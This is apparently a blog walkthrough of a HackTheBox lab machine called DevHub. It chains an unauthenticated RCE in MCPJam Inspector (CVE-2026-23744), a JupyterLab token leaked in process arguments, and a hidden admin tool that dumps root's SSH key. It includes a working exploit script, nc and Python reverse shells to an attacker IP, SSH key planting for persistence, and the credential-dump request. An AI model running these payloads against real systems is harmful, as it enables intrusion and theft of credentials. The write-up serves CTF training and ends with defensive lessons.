Sitemap
Arnav Vaidya

Arnav Vaidya

Security enthusiast!

DevHub — HackTheBox Walkthrough

9 min read2 days ago

--

Press enter or click to view image in full size

From an exposed MCP inspector to a root shell handed over by the box’s own internal tooling.

DevHub is a Linux box that rewards reading other people’s code — and process lists — closely. The whole chain hangs together from one recurring mistake: trusting inputs and secrets that were never actually protected. The foothold is a freshly disclosed RCE in an MCP (Model Context Protocol) inspector, the pivot to the user runs through a JupyterLab token leaking in plain sight, and root falls to a privileged internal service that dumps its own SSH keys to anyone who knows the magic word.

Here’s the full path, with the reasoning behind each move rather than just the commands.

TL;DR — The Attack Chain

Nmap → MCPJam Inspector 1.4.2 exposed on port 6274
→ CVE-2026-23744 unauthenticated RCE (malicious serverConfig) → shell as mcp-dev
→ JupyterLab token leaked in process args → authenticate to local Jupyter API
→ SSH port-forward + notebook code execution → shell as analyst (user flag)
→ Root-owned OPSMCP service, source readable by analyst → hardcoded API key
→ Hidden ops._admin_dump tool still callable → dumps root's private SSH key
→ SSH as root → root flag

Two themes run through the entire box: secrets that were never hidden (a version banner, a token sitting in a process list, a hardcoded API key) and services that trust the wrong input (an inspector that launches any command it’s handed, a tool that’s “hidden” from the listing yet still callable). Keep those in mind as you read.

Reconnaissance

Every box starts the same way — find out what’s listening. Since the hostname isn’t in DNS yet, point the scan straight at the target IP:

nmap -sV -sC -T5 <target_ip>

Why: a baseline service/version scan tells us what’s exposed and worth attacking before we commit to anything.

22/tcp   open  ssh
80/tcp open http
Press enter or click to view image in full size

Only two open ports — SSH and a web server. That immediately tells us the web application is where the interesting attack surface lives. Before browsing, map the hostname so the app loads correctly and vhost routing behaves:

echo "<target_ip> devhub.htb" | sudo tee -a /etc/hosts

Why: the application is bound to the hostname — hit the raw IP and the site may not serve correctly.

Enumerating the Web Application

Browsing to http://devhub.htb lands on a developer-focused site. One of its features references MCPJam, and following that thread exposes an MCPJam Inspector instance on port 6274 — a debugging UI for MCP servers that really shouldn't be reachable from outside.

http://devhub.htb:6274

The Settings panel discloses the exact version, which is the single most useful piece of information on the whole page:

MCPJam Inspector 1.4.2

Why it’s a lead: a specific version number is an invitation to go looking for known CVEs. Custom or niche tooling exposed to the internet is exactly where under-reviewed, exploitable code tends to live.

Fingerprinting the Inspector API

Before firing anything off, confirm how the backend expects to be talked to. The Inspector exposes a connect endpoint:

http://devhub.htb:6274/api/mcp/connect

Send an empty POST body and let the server tell us what it wants:

curl -s -X POST http://devhub.htb:6274/api/mcp/connect \
-H 'Content-Type: application/json' \
-d '{}'

Why: probing the request shape with an empty body is a cheap way to learn the expected parameters without guessing.

{
"success": false,
"error": "serverConfig is required"
}

That error confirms the backend parses a serverConfig object from our input — the exact field the vulnerability abuses.

Exploiting the Unauthenticated RCE (CVE-2026–23744)

MCPJam Inspector 1.4.2 is affected by CVE-2026-23744, an unauthenticated remote code execution flaw in the /api/mcp/connect endpoint.

The root cause is simple: the Inspector treats the serverConfig object as a trusted description of a local MCP server to launch — including a command and its args. Anyone who can reach the endpoint can just ask it to launch an arbitrary command, and the backend obliges with no authentication at all. The issue affects versions up to 1.4.2 and is fixed in 1.4.3.

PoC referenced: github.com/d3vn0mi/CVE-2026–23744-POC

Advisory: GHSA-232v-j27c-5pp6

The exploit is small — it just posts a serverConfig whose command is a reverse shell:

import requests
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument("target", help="Target MCPJam Inspector URL")
parser.add_argument("--ip", required=True, help="Attacker IP")
parser.add_argument("--port", required=True, type=int, help="Listener port")
args = parser.parse_args()
url = f"{args.target}/api/mcp/connect"
data = {
"serverConfig": {
"command": "busybox",
"args": ["nc", args.ip, str(args.port), "-e", "/bin/bash"],
"env": {}
},
"serverId": "213j1l3jkljkl3j"
}
requests.post(url, json=data, verify=False)

Why: replicating the request the Inspector already makes — a command plus args — means the backend executes our payload exactly as if it were launching a legitimate MCP server.

Start a listener to catch the shell:

nc -lvnp 8888

Then run the exploit against the Inspector:

python3 exploit.py http://devhub.htb:6274 --ip <attacker_ip> --port 8888

Why: confirm execution with a callback to our own listener before investing in anything heavier.

connect to [<attacker_ip>] from (UNKNOWN) [<target_ip>] 44322

We land our initial foothold as the low-privileged service account mcp-dev.

Enumerating the Initial Shell

With a shell in hand, the goal shifts to understanding who else lives on the box and what’s running. Listing home directories shows a second, more interesting user:

ls -la /home

Why: other home directories reveal which accounts are worth pivoting toward.

drwxr-x--- 9 analyst analyst 4096 May 27 12:22 analyst
drwxr-x--- 4 mcp-dev mcp-dev 4096 May 27 12:22 mcp-dev

A quick look at the kernel for completeness:

uname -a
Linux devhub 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64

The real find is in the process list — a JupyterLab server running as analyst:

ps aux | grep -i jupyter

Why: the process list often exposes services bound to loopback and, far too often, secrets passed on the command line.

analyst 1089 ... jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= ...

Two things stand out. The server is bound to 127.0.0.1:8888, so it's only reachable locally. And — crucially — the full authentication token is sitting right there in the command line.

Leaking the JupyterLab Token

Because the token is passed as a process argument, any user who can run ps can read it. That's our key to the analyst session:

a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7

First, confirm the API is alive from inside the box:

curl -s http://127.0.0.1:8888/api

Why: a quick liveness check before authenticating confirms the service responds on loopback.

{
"version": "2.17.0"
}

Then use the leaked token to list the notebook contents:

curl -s \
-H 'Authorization: token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7' \
http://127.0.0.1:8888/api/contents

Why: the token in the process args is the whole point — it grants full API access to a server running as a more privileged user.

Get Arnav Vaidya’s stories in your inbox

Join Medium for free to get updates from this writer.

There’s a notebook called quarterly_analysis.ipynb, but it's a red herring — just placeholder analytics code with no credentials. The value here isn't the notebook contents; it's the ability to create and run a notebook, since Jupyter executes code as the user who owns the server.

Pivoting: Persistent Access and Port Forwarding

Working through a raw reverse shell is painful, so stabilise access and make the loopback-bound Jupyter service reachable from our own machine. Generate a keypair and drop the public half into mcp-dev's authorized_keys:

ssh-keygen -t ed25519 -f ~/.ssh/pivot_key

mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo 'ssh-ed25519 <your_pubkey> attacker@kali' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

Why: planting our own key turns a fragile reverse shell into stable, repeatable SSH access.

ssh -i ~/.ssh/pivot_key mcp-dev@devhub.htb

Since JupyterLab only listens on loopback, set up an SSH local port forward so the UI is available on our attacking machine:

ssh -i ~/.ssh/pivot_key -N \
-L 8888:127.0.0.1:8888 \
mcp-dev@devhub.htb

Why: the service is invisible externally but reachable on-box — forwarding the port brings that internal surface to us.

curl http://127.0.0.1:8888/api
{
"version": "2.17.0"
}

With the forward in place, open http://127.0.0.1:8888 in a browser and authenticate using the leaked token.

Code Execution as analyst

This is the payoff of leaking the token. A Jupyter kernel runs with the privileges of the account that owns the Jupyter process — analyst — so any code we execute inside a new notebook runs as analyst. Create a notebook and run a simple Python reverse shell:

import socket
import subprocess
import os

s = socket.socket()
s.connect(("<attacker_ip>", 9001))
p = subprocess.Popen(
["/bin/bash", "-i"],
stdin=s,
stdout=s,
stderr=s
)

Why: the notebook kernel inherits analyst's identity, so executing code through it is a direct, authenticated route to a shell as that user.

With the matching listener ready:

nc -lvnp 9001

The shell connects back as analyst. Upgrade it to a proper TTY for comfort:

python3 -c 'import pty; pty.spawn("/bin/bash")'

User Flag

cat /home/analyst/user.txt

User flag secured. On to root.

Privilege Escalation: Finding a Root Service

Escalation starts the same way the foothold did — by looking at what’s running. The process list reveals a Python service running as root:

ps aux

Why: the owning user sets the stakes. A flaw in a root-run service yields root.

root 1095 ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py

The interesting detail is who owns the source file of that root service:

ls -la /opt/opsmcp/

Why: if we can read the source of a privileged service, we can learn exactly how to abuse it.

-rw-r----- 1 analyst analyst 6021 Mar 16 2026 /opt/opsmcp/server.py

The script runs as root, but it's owned by analyst — so we can read its source. Readable source for a privileged service is often the whole ballgame.

Enumerating the OPSMCP Service

First, confirm where the service listens:

ss -lntup

Why: services bound to 127.0.0.1 are invisible externally but reachable from on-box — a classic internal attack surface.

tcp LISTEN 127.0.0.1:5000
tcp LISTEN 127.0.0.1:8888
tcp LISTEN 0.0.0.0:6274
tcp LISTEN 0.0.0.0:80
tcp LISTEN 0.0.0.0:22

It’s bound to 127.0.0.1:5000. Reading the source, the first gift is a hardcoded API key:

VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

Along with the documented endpoints:

/tools/list
/tools/call
/health

The Hidden Tool

Reading further, the source defines a set of tools deliberately not returned by /tools/list:

HIDDEN_TOOLS = {
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
"parameters": {"target": "string", "confirm": "boolean"}
},
"ops._debug_mode": {
"description": "Enable debug mode",
"parameters": {}
}
}

Why it matters: this is security-through-obscurity, and it fails for a simple reason — /tools/call validates requests against ALL_TOOLS, a set that includes both the visible and the hidden tools. So even though ops._admin_dump is never advertised, it's still callable with the API key we already found in the source.

Dumping the Root SSH Key

The _admin_dump tool does exactly what its description threatens — it dumps credentials, including root's private SSH key. Invoke it with the hardcoded key:

curl -s http://127.0.0.1:5000/tools/call \
-H 'Content-Type: application/json' \
-H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'

Why: the hidden tool plus the hardcoded key is the entire privilege-escalation primitive — a root-owned service willingly handing out root’s key.

Then pull the key out of the JSON response and save it:

curl -s http://127.0.0.1:5000/tools/call \
-H 'Content-Type: application/json' \
-H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["root_private_key"])' > /tmp/root_key

chmod 600 /tmp/root_key
-----BEGIN OPENSSH PRIVATE KEY-----
[... private key redacted ...]
-----END OPENSSH PRIVATE KEY-----

Executing as Root

With root’s private key in hand, authentication is trivial:

ssh -o StrictHostKeyChecking=no -i /tmp/root_key root@devhub.htb

Why: a private key found anywhere should be tried everywhere — and this one belongs to root.

id
uid=0(root) gid=0(root) groups=0(root)

Root.

Root Flag

cat /root/root.txt

Root flag obtained. Box done.

Lessons Learned

A few takeaways worth carrying off this box:

Version strings are reconnaissance gifts. The entire foothold hinged on the Inspector openly disclosing 1.4.2. Hiding version banners wouldn't have fixed the vuln, but it slows an attacker down.

Secrets don’t belong in process arguments. The JupyterLab token was readable by every local user via ps. Tokens, passwords, and keys should be passed through environment files or config with restrictive permissions, never on the command line.

Trust the right layer. The MCPJam Inspector executed any command it was handed through serverConfig. Input that controls command execution has to be authenticated and constrained — decryptability or a well-formed request body is not authorisation.

Hidden is not protected. The OPSMCP service tried to hide a dangerous tool by leaving it out of the listing, but still accepted calls to it. Obscurity is not an access control.

Mind what privileged services can read and return. A root service that will hand out root’s private key to any caller with a hardcoded key is a single point of total compromise.

Press enter or click to view image in full size

📬 Contact Me

If you’d like to discuss cybersecurity, ethical hacking, CTF challenges, or collaboration opportunities, feel free to reach out:

--

--